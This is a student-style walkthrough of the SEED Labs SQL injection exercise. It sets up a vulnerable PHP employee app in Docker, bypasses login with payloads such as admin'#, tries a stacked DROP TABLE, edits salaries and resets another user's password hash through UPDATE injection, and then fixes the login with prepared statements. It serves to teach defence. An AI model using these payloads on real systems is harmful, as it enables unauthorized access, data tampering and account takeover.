SQL Injection Lab
SQL injection is a code injection technique that exploits the vulnerabilities in the interface
between web applications and database servers. The vulnerability is present when user’s inputs
are not correctly checked within the web applications before being sent to the back-end
database servers.
First, we need to make the environment ready for this lab and then we will go for the tasks.
Let’s implement this lab step by step.
In this lab, you will:
Explore a vulnerable employee management web application
Perform SQL injection attacks on login (SELECT) and profile edit (UPDATE) pages
Understand the real-world damage these attacks can cause
Fix the vulnerability using Prepared Statements
Lab Environment Setup
Step-1: Check if the Labsetup folder already has the files. Run this:
ls ~/Labsetup
You should see something like this:
You can see that your ~/Labsetup folder currently has files from a PKI lab that we already
completed ([Link], [Link], etc.) — NOT the SQL Injection lab. We need to
download the correct lab setup files.
Step 2 — Download the SQL Injection Lab Setup
Open a terminal in your SEED VM and run::
wget --no-check-certificate
[Link]
[Link] -O ~/SQLi_Labsetup.zip
Why: This downloads the lab configuration files from the SEED Labs website. The --no-
check-certificate flag is needed because the VM may not have the latest SSL
certificates. The -O flag saves the file with a specific name.
Step 3— Unzip into a separate folder
Run this:
1
unzip [Link] -d ~/SQL_Injection_Lab
cd ~/SQL_Injection_Lab
ls
Why: We unzip into a new separate folder so we don't overwrite your existing PKI lab files.
After ls, you should see a [Link] file.
Step 4 — Navigate into the Labsetup folder
First, see what's in the current folder: run
Ls
Then navigate into it:
cd Labsetup
Then list the contents:
ls
You should see these files:
Step 5 — Add hostname to /etc/hosts
sudo nano /etc/hosts
Password: dees
Once the file opens, use the arrow keys to scroll to the very bottom and add this new line:
[Link] [Link]
2
Then save and exit:
Press Ctrl + X
Press Y
Press Enter
Then save and exit:
Press Ctrl + X
Press Y
Press Enter
Why: The web application container has IP address [Link]. By adding this entry, we tell the
VM that [Link] points to that container. Without this, the browser won't
find the website.
Step 6— Build the Docker images
Once you're back at the terminal prompt, run:
dcbuild
Both images built successfully!
seed-image-www-sqli:latest → Web server with the vulnerable SQL Injection app
seed-image-mysql-sqli:latest → MySQL database with employee data (Alice, Boby,
Admin, etc.)
MySQL root password is set to dees
Database sqllab_users is pre-loaded automatically
And you see something like this:
3
4
Why: This command reads the [Link] and Dockerfile files to build two
container images:
Web server (seed-image-www-sqli) — Apache + PHP hosting the vulnerable web
app
MySQL database (seed-image-mysql-sqli) — stores all employee data
This may take 2–5 minutes the first time. You will see build progress scrolling — that is normal.
Step 7 — Start the containers
dcup
Why: This starts both containers in the background:
Web server at IP [Link] → hosts [Link]
MySQL server at IP [Link] → stores all employee data
You'll see some startup logs. Once you see both containers running, the environment is ready.
Keep this terminal running — do NOT press Ctrl+C. Open a new terminal tab for the next
steps.
You should see something like this:
5
Both containers are running perfectly!
www-[Link] → Apache web server is UP
mysql-[Link] → MySQL is ready for connections on port 3306
Database sqllab_users is created and initialized
Check the difference between two ports:
Line 1 — Port 33060:
X Plugin ready for connections. port: 33060
This is the MySQL X Protocol — a newer protocol for modern applications. We don't use this in
this lab.
Line 2 — Port 3306:
/usr/sbin/mysqld: ready for connections. port: 3306
This is the classic MySQL protocol — the standard port that has been used for decades. This is
what the PHP web application and the mysql client command use to connect to the database.
Step 8- Open a NEW terminal tab
Do NOT close or interrupt this terminal. The containers are running here. Open a new terminal
tab by clicking the + button in your terminal, then continue all future commands there.
Step 9 — Verify containers are running
In the new tab, type:
dockps
6
You should see something like this:
Step 10 — Open the web application in Firefox
Open Firefox inside the VM and go to:
[Link]
Why: This is the vulnerable employee management web application we will be attacking
throughout the lab. You should see a login page.
You should see this page:
Note: If you restart your VM, the containers will stop. To restart them:
cd ~/SQLi_Lab/Labsetup
dcup &
The web application is running perfectly! The Employee Profile Login page is live at [Link]-
[Link].
So, our environment is ready for the tasks!
About the Web Application
The web application is a simple Employee Management System with two roles:
7
Role Description
Admin Can view all employees' information
Employee Can view and edit only their own profile
Employee Database:
Name EID Password Salary
Admin 99999 seedadmin 400000
Alice 10000 seedalice 20000
Boby 20000 seedboby 50000
Ryan 30000 seedryan 90000
Samy 40000 seedsamy 40000
Ted 50000 seedted 110000
Note: Passwords are stored as SHA1 hashes in the database, not as plain text.
Lab Tasks Begin Here!
TASK 1 — Get Familiar with SQL Statements
Objective: Explore the MySQL database using SQL commands.
Step 1 — Open a new terminal tab and find the container ID
dockps
Why: This shows the running containers and their short IDs. We need the MySQL container ID
to get a shell inside it.
Like this:
Step 2 — Get a shell inside the MySQL container
docksh <mysql-container-id>
8
Replace 0446435c790f with the first 2-3 characters of the MySQL container ID shown
by dockps. For example, for 0446435c790f mysql-[Link], type docksh 044
Why: The database runs inside a Docker container, not directly on the VM. We
use docksh (an alias for docker exec -it) to open a shell inside the container. The
prompt will change to root@<containerID>:/# confirming you are inside.
Step 3- You're inside the MySQL container. Notice the prompt changed
to root@0446435c790f:/#
You are inside the container. Now connect to MySQL:
mysql -u root -pdees
Why: This launches the MySQL client and logs in as root with password dees. You'll see
the mysql> prompt when connected successfully.
You should see this:
The warning about password on command line is normal and harmless — it's just MySQL
reminding you that typing passwords in commands can be seen in shell history.
Step 4 — Select the lab database
9
use sqllab_users;
Why: MySQL can have multiple databases. This command selects
the sqllab_users database which contains all the employee data for this lab.
Step 5 — See all tables
show tables;
Why: This lists all tables inside the selected database. You should see one table
called credential which stores employee information. This lists all tables inside the selected
database. The credential table stores all employee information.
Step 6 — View Alice's profile (required for Task 1)
SELECT * FROM credential WHERE name='Alice';
Why: This is the actual Task 1 requirement — print all profile information of employee Alice.
The SELECT * retrieves all columns, WHERE name='Alice' filters to only show Alice's
record.
You can see Alice's: ID, name, EID, salary, birthday, SSN, address, email, nickname, password
hash from the above screenshot!
This completes Task 1!
TASK 2 — SQL Injection Attack on SELECT Statement
Objective: Log into the web application without knowing any employee's password.
Background — How the Login Works
10
The PHP login code constructs this SQL query:
SELECT id, name, eid, salary, birth, ssn, address, email,
nickname, Password
FROM credential
WHERE name='$input_uname' AND Password='$hashed_pwd';
The vulnerability: user input is inserted directly into the SQL query without any sanitization.
Task 2.1 — Attack from the Web Page
Goal: Log in as Administrator without knowing the password.
Go back to Firefox and open:
[Link]
In the Username field, type exactly:
admin'#
Leave the Password field empty and click Login.
Why this works: The original SQL query is:
SELECT * FROM credential WHERE name='$input_uname' AND
Password='$hashed_pwd';
When we inject admin'#, it becomes:
SELECT * FROM credential WHERE name='admin'#' AND Password='...'
The # symbol is a comment in MySQL — it makes the database ignore everything after it,
including the password check. So we log in as admin without knowing the password!
You should see this page:
11
You are now logged in as Admin and can see ALL employees' data:
Alice, Boby, Ryan, Samy, Ted, and Admin — all their salaries and SSNs are exposed!
Also notice the URL bar:
unsafe_home.php?username=admin'%23&Password=%23 is the URL-
encoded form of # — the browser automatically encoded it.
This completes task 2.1. The SQL injection attack worked perfectly!
TASK 2.2 — SQL Injection Attack from Command Line
Goal: Repeat Task 2.1 using the curl command instead of the browser.
Step 1- Now we repeat the same attack but using curl instead of the browser.
Go to your terminal and type:
curl '[Link]
%27%23&Password='
Why this works:
%27 = URL encoding for ' (single quote)
%23 = URL encoding for # (comment symbol)
So admin%27%23 is the same as typing admin'# in the browser
Special characters must be URL-encoded when sent via curl
12
The entire URL is wrapped in single quotes so the shell doesn't misinterpret &
This will return the raw HTML of the admin page in your terminal, proving the attack works
without a browser. You should see like this:
The HTML response contains the full User Details table with all employees' data — same result
as the browser, but through curl. You can see Alice, Boby, Ryan, Samy, Ted, and Admin all
exposed in the raw HTML.
Task 2.2 is complete. The attack worked from the command line too!
TASK 2.3 — Append a New SQL Statement
Goal: Try running two SQL statements using ; separator and understand why it fails.
Try this in the Username field in Firefox:
admin'; DROP TABLE credential;#
Or via curl in the terminal:
curl '[Link]
%27%3B+DROP+TABLE+credential%3B+%23&Password='
URL encoding used:
%27 = '
%3B = ;
%23 = #
+ = space
13
What we expect: This attack will FAIL — and that's the point!
PHP's mysqli::query() function only allows one SQL statement per call. This is a built-in
countermeasure that prevents stacked queries.
The lab asks you to identify this countermeasure and explain it.
The countermeasure is: PHP's mysqli_query() function does not allow multiple
statements separated by ; in a single query call. To run multiple statements, you would
need mysqli_multi_query() instead.
The error message tells us everything:
There was an error running the query [You have an error in your
SQL syntax... near 'DROP TABLE credential; #']
Why it failed — The Countermeasure: PHP's mysqli::query() function only allows ONE
SQL statement per call. When it sees the ; trying to start a second statement (DROP TABLE
credential), it throws a syntax error and refuses to execute anything.
To run multiple statements, an attacker would need the code to
use mysqli_multi_query() instead — but this application uses the safer single-query
function.
This is the countermeasure: mysqli::query() blocks stacked/multiple SQL statements by
design.
Task 2.3 is complete. The attack failed exactly as expected!
TASK 3 — SQL Injection Attack on UPDATE Statement
14
Objective: Exploit the Edit Profile page to modify data that employees are not authorized to
change.
Background — How the Edit Profile Works
The PHP code constructs this UPDATE query:
UPDATE credential SET
nickname='$input_nickname',
email='$input_email',
address='$input_address',
Password='$hashed_pwd',
PhoneNumber='$input_phonenumber'
WHERE ID=$id;
Employees can update: nickname, email, address, phone number, and password.
Employees cannot directly update: salary, SSN, EID
Now we attack the Edit Profile page. First, log in as Alice normally:
Go to Firefox → [Link]
Username: Alice
Password: seedalice
Click Login, then click "Edit Profile" in the top menu.
Why: We are now acting as a disgruntled employee (Alice) who wants to exploit the Edit Profile
form to modify data she is not supposed to change.
Alice's Edit Profile page is loaded.
15
Notice Alice can only edit: NickName, Email, Address, Phone Number, Password — but NOT
Salary. We're going to change that using SQL injection!
TASK 3.1 — Modify Alice's Own Salary
Goal: Increase Alice's salary without authorization.
The backend UPDATE query looks like this:
UPDATE credential SET
nickname='$input_nickname',
email='$input_email',
address='$input_address',
Password='$hashed_pwd',
PhoneNumber='$input_phonenumber'
WHERE ID=$id;
In the NickName field, type exactly:
', Salary=999999#
Leave all other fields empty and click Save.
Why this works: Our injection transforms the query into:
UPDATE credential SET
nickname='', Salary=999999#',
email='', ...
WHERE ID=1;
The # comments out everything after Salary=999999, so only nickname and salary get
updated. Alice's salary becomes 999999!
After clicking Save, verify the attack worked by going back to:
[Link]
And logging in again as Alice — her salary should now show 999999. Note: Because the
WHERE clause is also commented out, this updates all employees' salaries! This demonstrates
how SQL injection can cause unintended widespread damage.
16
Alice successfully gave herself a raise from 20,000 to 999999 using SQL injection — without any
admin privileges! Task 3.1 completes!
TASK 3.2 — Reduce Boby's Salary to $1
Goal: Reduce boss Boby's salary to $1 (while still logged in as Alice).
Now Alice wants to punish her boss Boby by reducing his salary to $1.
Go to Edit Profile page and in the NickName field, type exactly:
', Salary=1 WHERE Name='Boby';#
Leave all other fields empty and click Save.
Why this works: Our injection changes the WHERE clause to target Boby instead of Alice:
UPDATE credential SET
nickname='', Salary=1 WHERE Name='Boby';#'
...
WHERE ID=Alice's ID;
The # comments out Alice's original WHERE ID=... clause, so the update applies to Boby's
record instead!
After clicking Save, verify by logging in as Admin (admin'# with no password) and check that
Boby's salary shows 1.
To check the result, type this in the terminal:
17
SELECT Name, Salary FROM credential;
This completes Task 3.2!
TASK 3.3 — Change Boby's Password
Goal: Change Boby's password to something you know, then log in as him. We need to change
Boby's password to something we know, then log in as him.
The database stores SHA1 hash of passwords. So first, let's get the SHA1 hash of a new
password (e.g., hacked):
echo -n 'hacked' | sha1sum
Run this in your terminal (not MySQL).
Why: The database stores sha1(password) not the plain text. We must inject the hash, not the
plain text word.
Now do this:
1. Go to [Link] → Login as Alice / seedalice
2. Click Edit Profile
3. Copy and paste this into the NickName field:
', Password='e812ba8d00b270ef3502bb53ceb31e8c5188f14e' WHERE
Name='Boby'#
4. Leave all other fields empty
5. Click Save
18
Then verify by logging out and logging in as:
Username: Boby
Password: hacked
Look at the URL bar:
unsafe_home.php?username=Boby&Password=hacked
We successfully:
Changed Boby's password to hacked via SQL injection
Logged into Boby's account using the new password
Can see Boby's salary is still $1 (from Task 3.2!)
Task 3.3 is COMPLETE!
So Summary of Task 3 completed:
Task Action Result
3.1 Changed Alice's salary $999,999
3.2 Reduced Boby's salary $1
3.3 Changed Boby's password Login as hacked
TASK 4 — Countermeasure: Prepared Statement
This is the final task! We fix the SQL injection vulnerability using Prepared Statements.
If web container stopped, Let's restart both containers:
19
cd ~/SQLi_Lab/Labsetup && dcup &
Wait about 15 seconds, then check:
dockps
You will see something like:
Once both containers show up, run after going to your terminal and get a terminal inside
the web server container:
docksh 6f
Then view the vulnerable file we need to fix:
cat /var/www/SQL_Injection/defense/[Link]
Then:
cat /var/www/SQL_Injection/defense/[Link]
I can see the vulnerable code clearly!
The vulnerable line is:
$result = $conn->query("SELECT ... WHERE name= '$input_uname' and
Password= '$hashed_pwd'");
See the screenshot:
Now fix this with prepared statement
Step-1: Edit the file using nano:
20
nano /var/www/SQL_Injection/defense/[Link]
Step-2: DELETE these lines (from // do the query to the closing })
// do the query
$result = $conn->query("SELECT id, name, eid, salary, ssn
FROM credential
WHERE name= '$input_uname' and Password=
'$hashed_pwd'");
if ($result->num_rows > 0) {
// only take the first row
$firstrow = $result->fetch_assoc();
$id = $firstrow["id"];
$name = $firstrow["name"];
$eid = $firstrow["eid"];
$salary = $firstrow["salary"];
$ssn = $firstrow["ssn"];
}
REPLACE with this:
// do the query - Prepared Statement (safe from SQL injection)
$stmt = $conn->prepare("SELECT id, name, eid, salary, ssn
FROM credential
WHERE name= ? and Password= ?");
$stmt->bind_param("ss", $input_uname, $hashed_pwd);
$stmt->execute();
$stmt->bind_result($id, $name, $eid, $salary, $ssn);
$stmt->fetch();
$stmt->close();
Press Ctrl+X → Y → Enter to save when done!
21
Step-3: Then test the defense
Open Firefox and go to:
[Link]
Try the SQL injection attack that worked before — type in Username field:
admin'#
And leave Password empty, then click submit.
You should see something like this:
Task 4 is COMPLETE. The prepared statement defense is working!
Code explanation:
Line Purpose
Sends SQL structure to database with ? placeholders — compiled
prepare(...)
without data
bind_param("ss", ...
Sends user input as data only ("ss" = two string parameters)
)
execute() Runs the pre-compiled query with the bound data
bind_result(...) Maps query result columns to PHP variables
fetch() Retrieves the first result row
close() Releases the prepared statement from memory
Look at the URL:
defense/[Link]?username=admin'%23&Password=
The injection admin'# was used — but the result shows all empty fields:
ID: (empty)
Name: (empty)
22
Salary: (empty)
Why this proves the defense works: The admin'# string was treated as a literal username to
search for — not as SQL code. No user named admin'# exists in the database, so nothing was
returned. The # no longer acts as a comment — it's just a regular character!
23